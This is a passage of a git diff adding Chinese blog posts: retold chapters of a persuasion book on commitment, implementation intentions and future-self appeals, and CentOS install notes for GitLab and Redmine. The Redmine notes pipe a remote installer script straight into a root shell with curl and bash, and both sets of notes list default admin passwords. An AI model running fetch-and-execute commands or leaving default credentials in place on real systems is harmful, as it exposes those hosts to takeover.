+任何一个局外人都很清楚，竞拍者应当在拍卖失控前赶紧止损。可他们很少这么做。巴泽曼说他做过两百多次这样的拍卖游戏，只有一次是在20美元之前就止步的。有时候一张20美元的纸币能卖出100美元。还有一次卖出了破记录的204美元。 + +这是怎么回事？看来，在巴泽曼的拍卖中，有两个说服因素联合起来影响了竞拍者的行为。第一个是承诺和一致原理，也就是说，一旦某人做出了一个哪怕是很小的承诺，他也会迫于内心和外部的压力，做出与这个承诺相一致的行为。在这个拍卖游戏中，我们很容易看到，参与拍卖的成本只需1美元，这个承诺足够微小，以至于绝大多数人都愿意试试，这就难怪有那么多人都举了手举起了手。拍卖中的价格增幅也很小，进一步燃起了竞拍人保持一致的欲望。就好像他们对自己说：“我已经拿出了1美元，这不过是个小数，所以再添1美元也没什么大不了。”当然，事态很快就明朗起来，很多人都参与了拍卖，而且大家都在竞争同一个稀缺资源（要记住，只有一个人可以成功地拍到那张20美元的钞票），此时第二个说服因素开始起作用：赢得欲望没那么大了，不能输的念头占了上风。 + +ABC的迪勒之所以失手，正是因为这个。他知道对手电视台也有意竞买那部电影的播放权，而且他已经投入了那么多时间和资源，更不用说还有名声问题，所以迪勒只能朝着一个方向走去。拍卖价格不停地往上抬，很快就过了盈亏平衡点，投入反而是往外扔钱了。 + +迪勒的故事反映出了一个陷阱，不少好胜心很强的谈判者都容易掉进去——这就是所谓“逐步升级的承诺”，这种现象不局限于个人行为。就在迪勒主持那次谈判的同期，长岛电力公司（Long Island Lighting Company）正打算为它7000万美元的核电厂揭幕。然而，由于一系列的严重超支，尽管这个核电厂不可能盈利的证据明摆在眼前，这家公司还是过了10年才终止了这个项目——彼时，他们的成本已经飙升到了60多亿美元！ + +人们认识到“逐步升级的承诺”很容易导致糟糕的结果，并且有可能损失金钱和资源，因此许多人会想些办法来减弱它的影响。最常见的一个方法就是让一个人做出谈判决策，在让另一个人去负责执行谈判。例如，一家公司想买一套新的电脑软件系统，那么管理层可以委派一个决策人负责挑选这个新系统，一旦决定做好，就派另一个人去负责购买谈判。这个方法的用意是，把决策者和谈判者的角色分开，承诺升级以及财务上的风险就可以规避了。 + +理论上看，这个方法挺不错，但有时候依然不起作用，这是出于一个非常简单却时常被人忽略的原因。虽然把决策者和谈判者分开的办法确实切断了看得见的实体联系，可看不见的心理联系却依然存在。这就引出了一个有趣的问题。会不会只是因为跟决策者之间有着某种联系，谈判者就会把自己套进决策者的承诺里去呢？如果这种现象真的存在，谈判结果会不会与巴里·迪勒的和马克斯·巴泽曼的学生们一样？ + +为了测试这个想法，社会学家布赖恩·古尼亚（Brian Gunia）、尼罗·西瓦内森（Niro Sivanathan）和亚当·加林斯基（Adam Galinsky）设计了一系列研究。在实验中，受试者先是阅读了一位财务副总的解释报告——他决定把500万美元投资给公司的消费品部门。受试者还得知，在过去5年内，这个部门的表现比另一个没有拿到拨款的部门糟糕的多。工作人员随后请受试者们想象自己被任命为公司的新副总，要决定1000万美元的分配去向，然而，在做决策之前，一半人需要花几分钟做做“换位思考”，想一想原先那位副总做那个决策时感的感受和想法，另一半人则被简单地告知，只需客观地作出决定就行，完全不用考虑那位副总的想法。 + +结果显示，那些做到换位思考的受试者不仅受到了原先糟糕决策的影响，他们还更有可能把原来的承诺进一步升级——他们拨给业绩不好的那个部门的资金比对照组要多出40%。或许最有趣的是，这个实验是有奖励的：如果受试者作出的决策能够带来最好的财务效益，他们就能得到50美元的现金。尽管如此，上述现象还是发生了。 + +但是，先等等。在当今这个步调迅速、竞争纷起的商业社会里，能把自己的事情想清楚就不错了，更别说换位思考、去体会他人的想法了。因此，负责做决策的经理人和负责谈判的买手或许可以长舒一口气，他们尽可以放心——如果没有非常深刻的联系的话，他们的工作表现不大可能受到过度影响。 + +可是，进一步研究表明，这事还真不能放心。事实上，研究者们发现的证据：哪怕是看上去毫无意义的联系，比如生日是同一个月份，或是在同一年毕业，都足以让人被他的承诺“锁住”。 + +那么，有哪些小改变可以防止你掉进陷阱，不会受到他人承诺的影响？试想，你管理着公司的采购部门，率领着一群谈判人员和买手。上述研究结果显示，你应该谨慎选择谈判小组的成员，把他们跟你要为之做采购的那个部门里的人之间的关联降至最低。 + +经理人还应该举一反三的运用这些研究成果。例如，如果你打算提拔销售团队的团队里一个业绩一直非常出色的员工当销售经理，那么，此人原先那个销售经理之间的关联可能会让他延续原先的，而你本打算终止的决策和做法。话又说回来，如果你希望原先那个销售经理的做法能持续下去，那么这个人是非常合适的人选。 + +当然，轮到你自己参加谈判和做决策决定的时候，一定要意识到这些能够左右行为和决策的、虽小却有威力强大的影响因素。遵从这些原则行事，或许就足以帮你躲开“波赛冬号”式的险境，让业务之船不至于沉没。例如，斯坦福商学院的杰弗瑞·普费弗（Jeffrey Pfeffer）主持的研究表明，如果你在组织中负责某个项目的执行，那你最好把评估它的成功与否的工作交给组织里其他人来做。这是因为你很容易过高的估计该项目的价值——有时候高估的程度会很惊人。此外，评估人跟你之间的联系越少，他或她的客观程度就会越高。 diff --git a/_posts/2016-12-05-132-the-small-big-13.md b/_posts/2016-12-05-132-the-small-big-13.md new file mode 100644 index 0000000..d1acd0d --- /dev/null +++ b/_posts/2016-12-05-132-the-small-big-13.md @@ -0,0 +1,31 @@ +--- +layout: post +title: 13 巧用“执行意向” +pid: 132 +tags: [细节如何轻松影响他人] +--- +当我们努力去说服别人采取行动时，一句“好的”大概是最悦耳的声音了。可是，单是让人说一句“好的”，往往还不足以把事情做成。答应下来却拖着不做就是典型的例子。许多人都有这样的经历：某个同事明明已经答应要帮忙了，“没问题，下周的会议上我把提案给你带来”，或者是“当然，我会把报告发给你的”，要么就是“交给我吧，我很乐意帮你联系那个新来的副总”，但说完之后，却迟迟不见动静。或许这并不是因为人家光说不练（起码你希望不是如此），而是因为有太多的事情在竞相争抢他们的注意力。他们答应了你，但没有时间做。 + +幸运的是，说服科学给出了一个非常简单却经常被人忽视的方法，可以让人们说到做到：让他们做一个具体的计划，说说他们打算在何时、何地、准备如何执行这件事。行为科学家把这种计划叫做“执行意向”（implementation intention）。 + +研究人员戴维·尼克森（David Nickerson）和托德·罗杰斯（Todd Rogers）所作的一系列研究清楚地证明,一个小小的、帮助人们产生执行意向的额外动作，就可以产生显著的效果。他们想知道，如果让选民做一个“在大选日如何前往投票站”的计划，是否能影响他们的投票行为。为了回答这个问题，他们带着几套不同的动员信，拜访了一大批2008年总统大选中符合资格的选民。 + +第一套是“标准版” ，提醒人们大选即将来临，而且投票是一项重要的责任，借此鼓励人们前去投票。第二套是“自我预测版”，内容与标准版一样，只是多了一个简单的问题，问人们愿不愿意投票。这个版本依据的是先前的研究结果：请人们预测自己是否会参加一个被社会嘉许的活动，并鼓励他们说“是”，就会提升他们这样做的可能性，他们会感到自己应该采取行动。 + +第三套“投票计划版”与“自我预测版”的内容一模一样，只不过添加了三个问题，让愿意投票的人做个计划。这些问题是：“你会在什么时间投票？”“你会从哪儿出发？”“你预先会做些什么？”这几个问题的用意是，通过回答这些具体问题，投票人更容易制定出一个投票当天所有活动的具体计划，这样一来，他们就更容易按计划行动了。最后，实验里还设有一个对照组，他们与研究人员没有任何接触。 + +研究人员意识到，如果在选举结束后请选民报告他们有没有投票，得到的结果可能会带有偏见，导致数据不准，因此他们检查了官方的选举记录，来统计谁最终投了票，谁没有。结果清楚地显示出，最有效的就是“投票计划版”，选民的实到率比对照组高出4个百分点。而且，研究者发现，对于家中只有一名合格投票人的情况，这个版本的说服力最大，实际实到率高出了9.1%。 + +尽管有可能的解释很多，但证据表明，下面这个解释十分合理：比起只有一个合格投票人的家庭，有好几个合格投票人的家庭更容易自动自发地拟定投票计划，因为他们需要协调的事项更多。这就说明，当外部力量提出制定计划的请求时，只有一人投票的家庭比多人投票的家庭更可能实现。 + +这项研究清楚地显示出，听到“好的”二字，往往只意味着说服的开始，而不是结束。为了让人们尽可能地做说到做到，多问几个具体的问题——他们打算如何履行承诺——是十分必要的。 + +这个方法并不是说，你要把细枝末节都问个清楚，或是要做一个十分苛刻的计划。事实上，这些问题可以很简单，与一些小细节或任务的某些具体方面搭上关系就可以。例如，瘦身俱乐部的组长可以在每次活动结束后，请组员们都说说下次准备怎么过来，准备几点钟下班，有没有安排人去照看一下孩子等等。她甚至还可以跟大家共享这些计划，这样做有两个好处：计划公开了（充分利用的承诺和一致原理），成员们还可以了解到一些能帮助他们遵守承诺的信息，比如两个成员发现她们住得挺近，以后可以一起来锻炼。 + +公司员工需要邀请其他部门同事参加周会的时候，可以稍稍改换一下我提问方式，提高大家的工作效率。只需把平常的问题做个小小的调整就可以：以前是“这周三下午4点钟，你能来开会吗？”现在改成“这周三下午4点开会之前，你打算做什么？” + +稍稍改换一下提问方式，就能带来很大的变化，一项旨在帮助人们重新就业的研究也证明了这一点。在职业介绍中心去找工作的人通常都会被询问，在过去的两周内他们为找工作做了哪些事情。研究人员把问法改了一下，把他们的注意力引导到了未来的执行意向上：“在接下来的两周之内，你会做些什么来帮自己找工作呢？”这项研究是隶属于英国政府的“行为洞察组”主导的，为“小改变，大影响”提供了一个绝佳的范例。在为期三个月的研究间，回答执行意向问题的那一组中。13周后领取失业救济金的人数比回答了标准问题的对照组少了20%。 + +这个说服策略也用在了另一个相当重要的行为上：打防疫针。行为科学家凯瑟琳·米尔克曼（Katherine Milkman）和同事们在一家可以免费为员工注射流感疫苗的大型公司里展开了一项研究。在这个实验中，所有可以打疫苗的员工都收到了一封提醒信，让他们到公司的诊所去接种流感疫苗，信中还写了日期和几个诊所的地址。但提醒信有两个版本。第一个版本中，员工需要写下他们准备去打疫苗的日期。第二个版本跟第一个版本很相似，但它把执行意向又向往前推进了一步：它不仅要求要求收信人写下日期，还要写出具体时间。研究者发现，只写日期的那一组员工，实际接种疫苗的比率比对标准对照组高出1.5个百分点；而计划更为具体的那一组，也就是既写日期又写时间的那一组，实际接种的比率高出了4.2个百分点。 + +尽管这些百分比看起来并不高，但是想想看，在一个大型跨国公司中，两种结果的差距该有多大：接种疫苗不但会让与这些员工免于染上流感，还避免了病菌在办公室内传播传染、感染他人。而且，这项研究特别有趣的地方在于，它不像我们上文中讲到的那些情况，这些公司职员仔是在私下里表明态度的（在这个例子中，是写下日期和时间）。在前面讲到的那些实验里，我们都会倡导受试者把承诺公开。这项研究表明，即便是私下里的承诺也照样有效，足见这个说服政策是多么强大。 diff --git a/_posts/2016-12-05-133-the-small-big-14.md b/_posts/2016-12-05-133-the-small-big-14.md new file mode 100644 index 0000000..0989d6a --- /dev/null +++ b/_posts/2016-12-05-133-the-small-big-14.md @@ -0,0 +1,21 @@ +--- +layout: post +title: 14 推迟一会儿会更好 +pid: 133 +tags: [细节如何轻松影响他人] +--- +有时候，无论我们多么用心良苦，无论我们对高效说服他人的技巧掌握得多么娴熟，结果还有可能失败。当我们试图说服别人去做一些他们“应该做”却未必“愿意做”的事情的时候，本来挺好用的影响策略却不起作用了，这里面的原因可能有几十个。不管你想让他们做的是什么，比如支持你心爱的慈善事业、吃得更健康一点、放弃现在的供货商，改成跟你做生意，或者只是接受一种新的工作方法，没能成功说服他们的一个最常见的（也是最简单的）原因就是：人们知道应该改变自己的行为，只是不想“现在”就做。 + +丹·吉尔伯特（Dan Gilbert）、雅科夫·特罗普（Yaacov Trope）、妮娜·利伯曼（Nira Liberman）等社会心理学家所做的研究显示，“不远的将来”和“遥远的未来”在人们心目中的感觉是不一样的。想到离眼前不远的事，人们会想得十分具体，可是，想到那些很久以前后才会发生的事，人们更容易把它想得更为抽象。例如，如果你想请同事们在某个周末去当地收容所里做一次义工服务，那么，是这个周末就去，还是8个月以后的某个周末再去，他们的反应很可能大不一样。如果你希望他们这个周末就去，他们的关注点很可能会放在某些具体的代价上，比如，去做义工就没法去购物了，或者ESPN体育频道的那场重要赛事就看不成了，再不然，就是没法睡懒觉了。 + +但是，如果你希望大家8个月之后的某个周末再去，他们就更有可能从更为宽泛的层面上评估你的请求，例如这个请求与他们的总体价值观、道德观和意识形态有何关联。因此，他们不大会去想“愿不愿做”的问题，而是更容易问自己“应不应该做”。当他们发现，伸出援手的义工行为符合自己的价值观的时候，他们就会更容易答应你的请求，并且遵守承诺。 + +行为科学家托德·罗杰斯与马克斯·巴泽曼把这个承诺策略叫作“未来绑定法”，想要运用它，你需要对惯常的做法来一个微小的、却很重要的调整：当你想要说服他人接受某个改变的时候，不要让他们立即就改，还是把改变放到未来的某个阶段——当然，前提是这个改变对他们有好处，而且符合他们的价值观。为了证明这个小调整是否有效，研究者们请受试者考虑一份提案：为了控制石油的消耗量，每加仑（约3.7升）的油价应当上涨20美分。但是，一半受试者看到的提案是“这项政策应该立即执行”。另一半的受试者看到的则是“应当在4年之后执行”。看到立即执行的那一组中，只有26%的人支持提案；而4年后执行的那一组中，有更多的人（40%以上）愿意支持油价上涨。同一组研究者还在其他一些领域开展了这样的实验，比如慈善捐助和健康生活方面，都得到了相似的结果。 + +行为经济学家已经在另一个重要领域内证实了这个方法的有效性：为未来而储蓄。《助推》（Nudge）一书的作者之一理查德·泰勒（Richard Thaler）与同事施罗默·贝纳茨（Shlomo Benartzi）做出了最强有力的证明：这个方法能够极大程度的提高人们对401（k）养老金计划的参与度。他们发起了“明天多存点儿”的活动，而不是号召上班族立即参与：他们请上班族把日后加薪的一部分存入养老金。尽管导致这个项目成功的因素有很多，但一个核心的原因就是，它成功的把人们对养老金计划的看法从具体的代价（以后我每个月的工资单上都要少一块钱了”）转变为更加抽象的看法——这个计划与他们的价值观相契合，而且能够帮助他们实现人生目标（“我应该这么做，因为他很重要，也是为了家人好”）。 + +这个研究成果表明，如果你希望别人马上改变某个行为，而且你确信会遭到拒绝，那么你就换个方式，让对方答应在未来的某个时段做出改变。这样你的胜算会更大。例如，假设你是一名管理者，需要说服员工改用一个新的工作系统或流程，这对每个人都有好处。但是，由于之前推行的变革都没能如期般的成功，所以你估计这次也会遇上阻碍。你可以做的一个小改变就是，开头的时候先让大家同意，在3个月之内做出改变。这样一来，比起让他们立即就改，你很可能会赢得更多先期的认同和支持，日后大家兑现承诺的可能性也会更大。 + +“未来绑定法”的另一个使用领域是购买公共服务，比如安装网络宽带、有线电视，还有手机资费。为了让顾客拿到最有吸引力的合同条款，供应商往往要求他们立即参与为期一段时间的服务计划，比如18或24个月。看到这种即时生效的绑定合约，一些顾客可能会产生抗拒心理，因为他们的注意力已经放在了立即就会发生的具体成本上。然而，如果绑定条款在合同签订的3个月之后才生效，这不仅能在总体上减少顾客们的反对意见，对服务提供商也有好处：顾客多购买了3个月的服务。而且由于顾客可以在头3个月你拥有灵活的决定权，可以评估自己对这项服务是否满意，所以人人都是赢家。 + +当然，我们也明白，在理想的世界里，最好就是1分钟也不要等。但是有些时候，就像我们偶尔对编辑大人们所说的那样，晚一点点显然比啥都没有强。 diff --git a/_posts/2016-12-06-134-the-small-big-15.md b/_posts/2016-12-06-134-the-small-big-15.md new file mode 100644 index 0000000..2ea7d94 --- /dev/null +++ b/_posts/2016-12-06-134-the-small-big-15.md @@ -0,0 +1,35 @@ +--- +layout: post +title: 15 为了将来的自己 +pid: 134 +tags: [细节如何轻松影响他人] +--- +每一天，我们都能看到以义务感和对他人的道德责任感为诉求点的说服信息。广告上说，为了家人，请买人寿保险。政客们说，为了国人，请买国货。环保人士说，为了下一代，请保护自然资源。我们的良心说，为了报答养育之恩，要好好照顾上了年纪的父母。显然，这一辈子我们要为各种各样的人做正确的事，可是，有没有这么一个人？是我们最应该为之考虑，为他做事的呢？ + +如果这个人就是将来的你呢？ + +学者克里斯托弗·布赖恩（Christopher Bryan）和哈尔·赫什菲尔德（Hal Hershfield）研究了这样一个假说：如果触动了人们对“将来的自己”的道德责任感，就可以说服他们去做一些长远上对他们有益的事情。 + +考虑到绝大多数人都没有存上足够的钱，好让自己有一个经济上安全无虞的未来，布赖恩和赫什菲尔德分析的一个具体行为就是为了退休而储蓄。为了验证他们的想法，这些学者研究了将近200名未曾积极参与退休计划的大学教职员工的行为。 + +参与这项研究的所有员工都收到了一条信息，内容是提醒他们参与退休储蓄的重要性，并强烈建议他们提高退休储蓄率。然而，根据随机的分组，受试者看到的信息里的最后一段话很不一样。 + +例如，“标准版未来利益”组的受试者看到的是这样一段话：“我们促请你认真考虑未来的利益，请你现在就开始多存一点钱。毕竟，你长远的福祉正岌岌可危。你现在的决策将决定退休时你有多少钱。” + +而“为将来的自己负责”组看到的是：“我们促请你认真考虑，你需要为退休后的你负责，所以请你现在就开始多存一点钱。毕竟，‘将来的自己’过得好不好，全要仰仗现在的你。你现在的决策将决定将来的自己能拥有多少财务安全感。” + +两周后，研究者们请大学的福利部门统计了有多少受试者在看过信息之后改变了退休储蓄率。比起“标准未来利益”组，“为将来的自己负责”组的储蓄率提高了0.85个百分点。乍一看，这个差异好似不算什么，但你想想看，如果一个30岁的男人，年薪45485美元（按照全美中等水平估算），他把储蓄率从标准的5%提高到了5.85%。假设他后半辈子始终没涨过工资（极端保守的估算），在他65岁退休时，这个小小的数字增长意味着他能够多存一下68797美元。换个方式来理解的话，仅仅是因为他对“为将来的自己负责”的劝说策略做出了反应，他就能提早一年半退休。 + +这项研究表明，诉诸人们对未来自我的道德责任感，是一个强有力的影响策略。但需要注意的是，“为将来的自己负责”未必对每个人都有用。原来，人们对未来自我的距离感是因人而异的。也就是说，研究者们发现，对于那些对“将来的自己”没什么规划的人，上述两种信息的说服力度是一样的。这是不是意味着，当你倡导人们为了将来而制定财务规划时，需要把那批很关心未来自我的人挑选出来，并对两类人区别对待？其实是不需要的。虽然这个方法不见得都适用于所有人，但事实是，对于那些对未来自我没什么规划的人来说，“为将来的自己负责”的说服效果也不比“标准版未来利益”差，所以，这个方法大概就是最好的通用策略了。 + +请人们考虑一下对“将来的自己”富有的道德责任感，这么一个小小的举动，就能在很大程度上影响到退休储蓄。财务顾问、人力资源经理和政策制定者应该很青睐这个做法。可是，有没有什么更好的办法，能让人们更加意识到“为了将来的自己好”的重要性呢？答案是有的：给他们看一张未来的照片，让他们看看自己将来会长成什么样儿。 + +在哈尔·赫什菲尔德和另外6名研究者主持的实验中，在参与研究之前，受试者们先要上传一张自己的近照。研究开始后，他们要在屏幕上标出自己愿意为退休基金存入多少钱。一半受试者面前的屏幕上会显示出自己的那张近照，而另一半受试者的屏幕上显示出的是经“年龄软件”处理过的、自己70岁时的模样。这个小小的改变造成了巨大的差异。“将来的自己”组中，平均储蓄率是收入的6.2%，而“现在的自己”组中，这个数字是4.4%，储蓄率提高了很多，纯粹是因为受试者从经过处理的照片中看到了将来的自己。 + +这里面的启示很明显。如果你希望某人做出改变，但他一时半会儿也没法体会到改变的好处，那么你不仅应该指出他对未来的自己负有责任，还应该让他看到，未来的他会是什么模样。例如，想说服病人戒烟的医生就可以在网上找个免费的年龄处理软件，让病人看看抽烟是如何加速衰老的。 + +但是，如果你不大可能展示将来的照片，比如你想劝说的是一大批人，丹尼尔·巴特尔斯（Daniel Bartels）和奥莱格·俄敏斯基（Oleg Urminsky）所作的补充研究指出了一个更加容易的方法。他们发现，沟通者可以使用一个简单的方法来帮助人们拉近“现在的我”和“未来的我”之间的距离：提醒大家，尽管生活中的某些方面会随着时间的改变，但每个人的核心身份——他们最真实的自我——是始终不会变的。 + +因此，当你想要借助内疚心理或某些复杂的激励手段来让人们改掉某些行为（比如说暴饮暴食或过度消费）的时候，简单地提醒人们与将来之我联系，就能够帮助他们抵制诱惑，做出长远更有意义的抉择。 + +你或许会认为，这一章中推荐的做法看起来实在太不起眼了，不值得一试。但是，为了将来的你，至少可以尝试一下吧？看看这些新方法研究会不会有效果！ diff --git a/_posts/2016-12-06-135-gitlab-install.md b/_posts/2016-12-06-135-gitlab-install.md new file mode 100644 index 0000000..9565107 --- /dev/null +++ b/_posts/2016-12-06-135-gitlab-install.md @@ -0,0 +1,123 @@ +--- +layout: post +title: GitLab安装实录 +pid: 135 +tags: [git, 软件开发] +--- +# 安装GitLab(建议迅雷吧！) + + https://about.gitlab.com/downloads/ + + [root@localhost src]# cd ~ + [root@localhost ~]# cd /usr/local/src/ + [root@localhost src]# curl -LJO https://mirror.tuna.tsinghua.edu.cn/gitlab-ce/yum/el7/gitlab-ce-8.5.4-ce.0.el7.x86_64.rpm + [root@localhost src]# rpm -i gitlab-ce-8.5.4-ce.0.el7.x86_64.rpm + [root@localhost src]# gitlab-ctl reconfigure + +# 安装发件邮箱 + + [root@localhost ~]# sudo yum -y install postfix cronie + [root@localhost ~]# sudo service postfix start + [root@localhost ~]# sudo chkconfig postfix on + + +# Update gitlab.rb + + [root@localhost ~]# vim /etc/gitlab/gitlab.rb + + # Change the external_url to the address your users will type in their browser + external_url 'http://xxhost.com' + + #Sending application email via SMTP + gitlab_rails['smtp_enable'] = true + gitlab_rails['smtp_address'] = "smtp.163.com" + gitlab_rails['smtp_port'] = 25 + gitlab_rails['smtp_user_name'] = "xxuser@163.com" + gitlab_rails['smtp_password'] = "xxpassword" + gitlab_rails['smtp_domain'] = "163.com" + gitlab_rails['smtp_authentication'] = :login + gitlab_rails['smtp_enable_starttls_auto'] = true + + ##修改gitlab配置的发信人 + gitlab_rails['gitlab_email_from'] = "xxuser@163.com" + user["git_user_email"] = "xxuser@163.com" + +# Update Nginx Port + + [root@localhost ~]# vim /var/opt/gitlab/nginx/conf/gitlab-http.conf //修改端口 + server { + listen *:8001; + server_name 192.168.15.87; + } + +# 重启使配置生效 + [root@localhost ~]# sudo gitlab-ctl reconfigure + [root@localhost ~]# gitlab-ctl restart + + + +# Default Account & Login + + http://192.168.15.87:8001/users/sign_in + Username: root + Password: 5iveL!fe + + + +# 常用命令 + [root@localhost ~]# gitlab-ctl stop + [root@localhost ~]# gitlab-ctl start + [root@localhost ~]# gitlab-ctl status + [root@localhost ~]# systemctl status nginx + [root@localhost ~]# gitlab-ctl restart nginx + [root@localhost nginx]# gitlab-ctl tail + + +# 默认安装目录 + + /var/opt/gitlab/ + + + + +# 本地如何使用 + + + 用户在本地创建public key..然后Copy public并上传到服务器。 + C:\Users\baoguo\.ssh 运行Git Bash Here + $ ssh-keygen -t rsa -C "baoguo.ding@foxmail.com" + + + + Command line instructions + + + Git global setup + + git config --global user.name "Administrator" + git config --global user.email "admin@example.com" + + Create a new repository + + git clone git@192.168.15.87:root/sample.git + cd sample + touch README.md + git add README.md + git commit -m "add README" + git push -u origin master + + Existing folder or Git repository + + cd existing_folder + git init + git remote add origin git@192.168.15.87:root/sample.git + git add . + git commit + git push -u origin master + + + +参考： + +[GitLab在CentOS7下LNMP环境的安装使用](http://blog.csdn.net/w670328683/article/details/50736977) +[使用Gitlab一键安装包后的日常备份恢复与迁移](https://segmentfault.com/a/1190000002439923) diff --git a/_posts/2016-12-07-136-redmine-install.md b/_posts/2016-12-07-136-redmine-install.md new file mode 100644 index 0000000..7dc4699 --- /dev/null +++ b/_posts/2016-12-07-136-redmine-install.md @@ -0,0 +1,127 @@ +--- +layout: post +title: redmine安装及配置 +pid: 136 +tags: [redmine, 软件开发] +--- +# 设置淘宝镜像 + + [root@localhost ~]# bundle config mirror.https://rubygems.org https://ruby.taobao.org + [root@localhost ~]# gem update + +# 先安装CentOS系统包与兼容包 + yum -y install patch make gcc gcc-c++ gcc-g77 flex* bison file + yum -y install libtool libtool-libs autoconf kernel-devel + yum -y install libjpeg libjpeg-devel libpng libpng-devel libpng10 libpng10-devel gd gd-devel + yum -y install freetype freetype-devel libxml2 libxml2-devel zlib zlib-devel + yum -y install glib2 glib2-devel bzip2 bzip2-devel libevent libevent-devel + yum -y install ncurses ncurses-devel curl curl-devel e2fsprogs + yum -y install e2fsprogs-devel krb5 krb5-devel libidn libidn-devel + yum -y install openssl openssl-devel vim-minimal nano sendmail + yum -y install fonts-chinese gettext gettext-devel + yum -y install ncurses-devel + yum -y install gmp-devel pspell-devel + yum -y install unzip + yum -y install automake libmcrypt* libtool-ltdl-devel* + yum -y install readline* libxslt* pcre* net-snmp* gmp* libtidy* + yum -y install ImageMagick* svnversion* + + +# 安装rvm 程序 + [root@localhost ~]# bash < <( curl -L https://get.rvm.io ) + [root@localhost ~]# source /etc/profile.d/rvm.sh + [root@localhost ~]# rvm -v + [root@localhost ~]# rvm install ruby + [root@localhost ~]# gem -v + [root@localhost ~]# gem install rails + [root@localhost ~]# gem install rake + [root@localhost ~]# gem install mysql2 + [root@localhost ~]# gem install rbpdf-font + [root@localhost src]# gem install --local ./rbpdf-font-1.19.0.gem + + + + [root@localhost ~]# cd /opt/ + [root@localhost opt]# svn co http://svn.redmine.org/redmine/branches/2.3-stable redmine + [root@localhost opt]# svn co http://svn.redmine.org/redmine/branches/3.3-stable redmine + [root@localhost src]# cd redmine/ + [root@localhost redmine]# bundle install + [root@localhost redmine]# cd config/ + [root@localhost config]# mv database.yml.example database.yml + [root@localhost config]# mv configuration.yml.example configuration.yml + [root@localhost config]# vim database.yml + production: + adapter: mysql2 + database: redmine + host: 127.0.0.1 + username: root + password: "******" + encoding: utf8 + + [root@localhost config]# cd .. + [root@localhost redmine]# rake config/initializers/secret_token.rb + [root@localhost redmine]# rake db:migrate RAILS_ENV="production" + [root@localhost redmine]# ./bin/rails server -p3000 -b127.0.0.1 -e production + 后台运行 + [root@localhost redmine]# ./bin/rails server -p3000 -b0.0.0.0 -e production -d + + [root@localhost redmine]# ps -ef | grep rails + http://127.0.0.1:3000/ + + 默认用户名和密码 + admin + admin + + +# 配置邮件服务器 + [root@localhost ~]# ps auxf | grep sendmail + [root@localhost ~]# service sendmail start + [root@localhost ~]# yum -y install sendmail + [root@localhost ~]# mail -s "mail from baoguo" baoguo.ding@roadshare.com < mail.txt + [root@localhost ~]# tail /var/log/maillog + [root@localhost ~]# vim /opt/redmine/config/configuration.yml + + + default: + # Outgoing emails configuration + # See the examples below and the Rails guide for more configuration options: + # http://guides.rubyonrails.org/action_mailer_basics.html#action-mailer-configuration + email_delivery: + + # ==== Simple SMTP server at localhost + # + # email_delivery: + # delivery_method: :smtp + # smtp_settings: + # address: "localhost" + # port: 25 + # + # ==== SMTP server at example.com using LOGIN authentication and checking HELO for foo.com + # + # email_delivery: + delivery_method: :smtp + smtp_settings: + address: "****" + port: 25 + authentication: :login + domain: '****' + user_name: 'baoguo.ding@foxmail.com' + password: '*****' + # + + [root@localhost redmine]# ./bin/rails server -p3000 -b0.0.0.0 -e production -d + + + http://192.168.xx.xx:3000/my/page + + 1. 管理 >>> 配置 >>> 一般 >>> 主机名称 + 2. 管理 >>> 配置 >>> 邮件通知 >> 修改发件人，保存， 点击最下方的“发送测试邮件”。 + + +# 参考资料 + +1. [centos7下使用gitlab+redmine+jenkins](http://blog.csdn.net/u012375924/article/details/47951173) +2. [CentOS 7下安装Redmine中文版图文教程](http://www.cr173.com/html/50478_1.html) +3. [CentOS安装配置redmine 走了好多弯路 总算搞定](https://my.oschina.net/smilelxb/blog/496763) +4. [Redmine安装过程疑难杂症](http://zengrong.net/post/1936.htm) +5. [redmine邮件发送功能配置详解](http://blog.chinaunix.net/uid-26000296-id-5047175.html) diff --git a/_posts/2016-12-07-137-the-small-big-16.md b/_posts/2016-12-07-137-the-small-big-16.md new file mode 100644 index 0000000..10c4e26 --- /dev/null +++ b/_posts/2016-12-07-137-the-small-big-16.md @@ -0,0 +1,35 @@ +--- +layout: post +title: 16 目标设得好，干劲儿会更足 +pid: 137 +tags: [细节如何轻松影响他人] +--- +1919年，在《堪萨斯堡星报》（Kansas City Star）画政治漫画的沃尔特·迪斯尼（Walt Disney）被解雇了，报纸编辑的话是：“他不是太有创意。” + +2012年，英国生物学家约翰·戈登爵士（Sir John Gurdon）因对生物学和药学的杰出贡献获得了诺贝尔奖。可当年他在伊顿公学的校长却在成绩单上这样写道：“我相信戈登想当个科学家，可照他现在的表现看，这想法颇为荒谬。” + +好莱坞有个传说，弗雷德·阿斯泰尔（Fred Astaire）［1］去雷电华影业（RKO Pictures）试镜时，一个制片经理把他刷下来，理由是：“（他）不会表演，不会唱歌，有秃顶迹象，会跳一点舞。” + +令人欣慰的是，这些早期的挫折都没能阻挡他们追求自己的目标。上述三个人均获得了惊人的成就。但有些时候，人们的确会分心，会忘记目标——不是未来的诺奖得主和好莱坞偶像心目中那种雄伟的、一辈子只有一次的、梦工厂式的目标，而且虽然小一点儿却依旧十分重要的、日常生活的中的目标，比如多存一点钱，减掉几斤肉，还掉信用卡，或是达到这个月的销售目标。 + +人们往往需要重新拾起之前为自己设定的目标。同样，管理者、团队带头人、老师甚至是父母，有时候也需要帮助员工、学生和孩子鼓起干劲儿，再次为了原先的目标而努力。按常理，当我们为自己或他人设定新目标的时候，经验总是告诉我们，要把目标设定的非常具体。比如，每周减掉2磅（约1.8斤）体重，1小时跑6英里（约9.6公里），或是每月存下100美元，作为每年度假基金。但是，当我们说服自己或他人重拾目标的时候，这个常识是否正确呢？ + +营销学教授毛拉·斯科特（Maura Scott）和斯蒂芬·诺里斯（Stephen Nowlis）认为，虽然人们在直觉上感到，在首次制定目标时，应当把它量化为单一而具体的数字，但是，在重拾先前的目标时，这样做就未必就最好了。相反，这两位学者认为，比起单一的具体数字［比如每周减掉3磅（约2.7斤）体重］，把目标改成一个上下浮动的数字范围［但平均值跟原先的数字一样，比如每周减掉2～4磅（约1.8斤～3.6斤）］，会更加有助于人们鼓起干劲儿，重新投入。 + +为了测试这个想法，研究者们构思了一系列实验。其中一个安排在一家健身俱乐部里。愿意参加为期10周的减肥项目的成员先是制定出一个减肥目标，随后被分成两组。比如，想在1周之内减掉2磅（约1.8斤）体重的成员，要么就分到“单一数字组”，目标是“本周减掉2磅（约1.8斤）”，要么被分到“浮动范围组”，目标是“本周减掉1～3磅（约1斤～2.7斤）”。 + 